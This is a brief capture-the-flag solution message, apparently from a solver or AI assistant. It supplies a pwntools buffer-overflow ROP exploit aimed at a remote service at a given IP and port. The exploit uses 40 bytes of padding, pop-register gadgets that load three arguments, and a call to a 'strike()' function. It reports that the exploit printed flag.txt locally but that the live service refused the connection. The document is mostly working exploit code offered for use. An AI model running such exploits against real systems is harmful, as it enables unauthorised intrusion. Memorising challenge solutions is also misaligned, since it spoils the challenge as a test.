flag format: HASBL{...}

The exploit is ready, but the remote service is currently refusing connections, so I can’t retrieve the live flag.

Use this payload:

python
from pwn import *

p = remote("34.77.68.154", 10005)

payload = b"A"*40
payload += p64(0x4013bf) + p64(0xdeadcafe)   # pop rdi; ret
payload += p64(0x4013d7) + p64(0xcafebabe)   # pop rsi; ret
payload += p64(0x4013de) + p64(0xdeadc0de)   # pop rdx; ret
payload += p64(0x401186)                     # strike()
payload += p64(0x401090)                     # exit()

p.sendline(payload)
p.interactive()

It worked locally and prints flag.txt. The live service returned: Connection refused.